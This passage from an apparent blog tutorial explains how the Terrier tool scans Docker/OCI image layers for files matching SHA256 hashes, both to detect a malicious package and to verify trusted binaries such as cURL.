&lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;myImage.tar&lt;/span&gt;

&lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd'&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cf734865dd344cd9b0b349cdcecd83f79a751150b5fd4926f976adddb93d902c'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We then run Terrier against and analyse the results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./terrier 
&lt;span class="o"&gt;[&lt;/span&gt;+] Loading config: cfg.yml
&lt;span class="o"&gt;[&lt;/span&gt;+] Analysing Image
&lt;span class="o"&gt;[&lt;/span&gt;+] Docker Image Source: myImage.tar
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
&lt;span class="o"&gt;[!]&lt;/span&gt; Found file &lt;span class="s1"&gt;'6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759/usr/local/go/bin/go'&lt;/span&gt; with &lt;span class="nb"&gt;hash&lt;/span&gt;: 82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The results above indicate that our image did not contain the malicious Python package.&lt;/p&gt;

&lt;p&gt;There is no limit as to how many hashes you can search for however it should be noted that Terrier performs all its actions in-memory for performance reasons so you might hit certain limits if you do not have enough accessible memory.&lt;/p&gt;

&lt;h3&gt;
  
  
  Identifying and verifying specific files in OCI images
&lt;/h3&gt;

&lt;p&gt;Terrier can also be used to determine if a specific image contains a specific file &lt;em&gt;at a specific location&lt;/em&gt;. This can be useful to ensure that an image is using a specific component i.e binary, shared object or dependency. This can also be seen as “pinning” components by ensuring that you are images are using specific components i.e a specific version of cURL.&lt;/p&gt;

&lt;p&gt;In order to do this, you need the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An OCI Image i.e TAR archive&lt;/li&gt;
&lt;li&gt;A SHA256 hash of a specific file/s&lt;/li&gt;
&lt;li&gt;The path and name of the specific file/s&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The first point can be easily achieved with Docker by using the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;docker save imageid &lt;span class="nt"&gt;-o&lt;/span&gt; myImage.tar

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The command above utilises a Docker image id which can be obtained using the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;docker images

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once you have your image exported as a tar archive, you will need to determine the path of the file you would like to identify and verify in the image. For example, if we would like to ensure that our images are making use of a specific version of cURL, we can run the following commands in a container or some other environment that resembles the image.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;which curl
/usr/bin/curl

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We now have the path to cURL and can now generate the SHA256 of this instance of cURL because in this case, we trust this instance of cURL. We could determine the hash by other means for example many binaries are released with a corresponding hash from the developer which can be acquired from the developer’s website.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /usr/bin/curl | &lt;span class="nb"&gt;sha256sum 
&lt;/span&gt;9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this information, we can now populate our config file for Terrier:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;image&lt;/span&gt;
&lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;myImage.tar&lt;/span&gt;
&lt;span class="na"&gt;files&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/curl'&lt;/span&gt;
    &lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We’ve saved the above config as &lt;code&gt;cfg.yml&lt;/code&gt; and when we run Terrier with this config, we get the following output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./terrier
&lt;span class="o"&gt;[&lt;/span&gt;+] Loading config: cfg.yml
&lt;span class="o"&gt;[&lt;/span&gt;+] Analysing Image
&lt;span class="o"&gt;[&lt;/span&gt;+] Docker Image Source: myImage.tar
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c
&lt;span class="o"&gt;[!]&lt;/span&gt; All components were identified: &lt;span class="o"&gt;(&lt;/span&gt;1/1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[!]&lt;/span&gt; All components were identified and verified: &lt;span class="o"&gt;(&lt;/span&gt;1/1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt;
0

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output above indicates that the file &lt;code&gt;/usr/bin/curl&lt;/code&gt; was successfully identified and verified, meaning that the image contained a file at the location &lt;code&gt;/usr/bin/curl&lt;/code&gt; and that the SHA256 of that file matched the hash we provided in the config. Terrier also makes use of return codes and if we analyse the return code from the output above, we can see that the value is &lt;code&gt;0&lt;/code&gt; which indicates a success. If Terrier cannot identify or verify all the provided files, a return code of &lt;code&gt;1&lt;/code&gt; is returned which indicates a failure. The setting of return codes is particularly useful in testing environments or CI/CD environments.&lt;/p&gt;

&lt;p&gt;We can also run Terrier with verbose mode enable to get more information:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./terrier 
&lt;span class="o"&gt;[&lt;/span&gt;+] Loading config: cfg.yml
&lt;span class="o"&gt;[&lt;/span&gt;+] Analysing Image
&lt;span class="o"&gt;[&lt;/span&gt;+] Docker Image Source: myImage.tar
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
        &lt;span class="o"&gt;[!]&lt;/span&gt; Identified instance of &lt;span class="s1"&gt;'/usr/bin/curl'&lt;/span&gt; at: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560/usr/bin/curl 
        &lt;span class="o"&gt;[!]&lt;/span&gt; Verified matching instance of &lt;span class="s1"&gt;'/usr/bin/curl'&lt;/span&gt; at: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560/usr/bin/curl with &lt;span class="nb"&gt;hash&lt;/span&gt;: 9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c
&lt;span class="o"&gt;[!]&lt;/span&gt; All components were identified: &lt;span class="o"&gt;(&lt;/span&gt;1/1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[!]&lt;/span&gt; All components were identified and verified: &lt;span class="o"&gt;(&lt;/span&gt;1/1&lt;span class="o"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output above provides some more detailed information such as which layer the cURL files was located at. If you wanted more information, you could enable the &lt;strong&gt;veryveryverbose&lt;/strong&gt; option in the config file but beware, this is a lot of output and grep will be your friend.&lt;/p&gt;

&lt;p&gt;There is no limit for how many hashes you can specify for a file. This can be useful for when you want to allow more than one version of a specific file i.e multiple versions of cURL. An example config of multiple hashes for a file might look like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;image&lt;/span&gt;
&lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;myImage.tar&lt;/span&gt;
&lt;span class="na"&gt;files&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/curl'&lt;/span&gt;
    &lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The config above allows Terrier to verify if the identified cURL instance is one of the provided hashes. There is also no limit for the amount of files Terrier can attempt to identify and verify.&lt;/p&gt;

&lt;p&gt;Terrier’s Github repo also contains a useful script called &lt;code&gt;convertSHA.sh&lt;/code&gt; which can be used to convert a list of SHA256 hashes and filenames into a Terrier config file. This is useful when converting the output from other tools into a Terrier friendly format. For example, we could have the following contents of a file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;8946690bfe12308e253054ea658b1552c02b67445763439d1165c512c4bc240d ./bin/uname
6de8254cfd49543097ae946c303602ffd5899b2c88ec27cfcd86d786f95a1e92 ./bin/gzexe
74ff9700d623415bc866c013a1d8e898c2096ec4750adcb7cd0c853b4ce11c04 ./bin/wdctl
61c779de6f1b9220cdedd7dfee1fa4fb44a4777fff7bd48d12c21efb87009877 ./bin/dmesg
7bdde142dc5cb004ab82f55adba0c56fc78430a6f6b23afd33be491d4c7c238b ./bin/which
3ed46bd8b4d137cad2830974a78df8d6b1d28de491d7a23d305ad58742a07120 ./bin/mknod
e8ca998df296413624b2bcf92a31ee3b9852f7590f759cc4a8814d3e9046f1eb ./bin/mv
a91d40b349e2bccd3c5fe79664e70649ef0354b9f8bd4658f8c164f194b53d0f ./bin/chown
091abe52520c96a75cf7d4ff38796fc878cd62c3a75a3fd8161aa3df1e26bebd ./bin/uncompress
c5ebd611260a9057144fd1d7de48dbefc14e16240895cb896034ae05a94b5750 ./bin/echo
d4ba9ffb5f396a2584fec1ca878930b677196be21aee16ee6093eb9f0a93bf8f ./bin/df
5fb515ff832650b2a25aeb9c21f881ca2fa486900e736dfa727a5442a6de83e5 ./bin/tar
6936c9aa8e17781410f286bb1cbc35b5548ea4e7604c1379dc8e159d91a0193d ./bin/zforce
8d641329ea7f93b1caf031b70e2a0a3288c49a55c18d8ba86cc534eaa166ec2e ./bin/gzip
0c1a1f53763ab668fb085327cdd298b4a0c1bf2f0b51b912aa7bc15392cd09e7 ./bin/su
20c358f7ee877a3fd2138ecce98fada08354810b3e9a0e849631851f92d09cc4 ./bin/bzexe
01764d96697b060b2a449769073b7cf2df61b5cb604937e39dd7a47017e92ee0 ./bin/znew
0d1a106dc28c3c41b181d3ba2fc52086ede4e706153e22879e60e7663d2f6aad ./bin/login
fb130bda68f6a56e2c2edc3f7d5b805fd9dcfbcc26fb123a693b516a83cfb141 ./bin/dir
0e7ca63849eebc9ea476ea1fefab05e60b0ac8066f73c7d58e8ff607c941f212 ./bin/bzmore
14dc8106ec64c9e2a7c9430e1d0bef170aaad0f5f7f683c1c1810b466cdf5079 ./bin/zless
9cf4cda0f73875032436f7d5c457271f235e59c968c1c101d19fc7bf137e6e37 ./bin/chmod
c5f12f157b605b1141e6f97796732247a26150a0a019328d69095e9760b42e38 ./bin/sleep
b9711301d3ab42575597d8a1c015f49fddba9a7ea9934e11d38b9ff5248503a8 ./bin/zfgrep
0b2840eaf05bb6802400cc5fa793e8c7e58d6198334171c694a67417c687ffc7 ./bin/stty
d9393d0eca1de788628ad0961b74ec7a648709b24423371b208ae525f60bbdad ./bin/bunzip2
d2a56d64199e674454d2132679c0883779d43568cd4c04c14d0ea0e1307334cf ./bin/mkdir
1c48ade64b96409e6773d2c5c771f3b3c5acec65a15980d8dca6b1efd3f95969 ./bin/cat
09198e56abd1037352418279eb51898ab71cc733642b50bcf69d8a723602841e ./bin/true
97f3993ead63a1ce0f6a48cda92d6655ffe210242fe057b8803506b57c99b7bc ./bin/zdiff
0d06f9724af41b13cdacea133530b9129a48450230feef9632d53d5bbb837c8c ./bin/ls
da2da96324108bbe297a75e8ebfcb2400959bffcdaa4c88b797c4d0ce0c94c50 ./bin/zegrep

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The file contents above are trusted SHA256 hashes for specific files. If we would like to use this list for ensuring that a particular image is making use of the files listed above, we can do the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./convertSHA.sh trustedhashes.txt terrier.yml

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script above takes the input file &lt;code&gt;trustedhashes.txt&lt;/code&gt; which contains our trusted hashes listed above and converts them into a Terrier friendly config file called &lt;code&gt;terrier.yml&lt;/code&gt; which looks like the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;image&lt;/span&gt;
&lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;myImage.tar&lt;/span&gt;
&lt;span class="na"&gt;files&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/bin/uname'&lt;/span&gt;
    &lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
       &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;8946690bfe12308e253054ea658b1552c02b67445763439d1165c512c4bc240d'&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/bin/gzexe'&lt;/span&gt;
    &lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
       &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;6de8254cfd49543097ae946c303602ffd5899b2c88ec27cfcd86d786f95a1e92'&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/bin/wdctl'&lt;/span&gt;
    &lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
       &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;74ff9700d623415bc866c013a1d8e898c2096ec4750adcb7cd0c853b4ce11c04'&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/bin/dmesg'&lt;/span&gt;
    &lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
       &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;61c779de6f1b9220cdedd7dfee1fa4fb44a4777fff7bd48d12c21efb87009877'&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/bin/which'&lt;/span&gt;
    &lt;span class="na"&gt;hashes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
       &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;7bdde142dc5cb004ab82f55adba0c56fc78430a6f6b23afd33be491d4c7c238b'&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/bin/mknod'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The config file &lt;code&gt;terrier.yml&lt;/code&gt; is ready to be used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./terrier &lt;span class="nt"&gt;-cfg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;terrier.yml
&lt;span class="o"&gt;[&lt;/span&gt;+] Loading config: terrier.yml
&lt;span class="o"&gt;[&lt;/span&gt;+] Analysing Image
&lt;span class="o"&gt;[&lt;/span&gt;+] Docker Image Source: myImage.tar
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
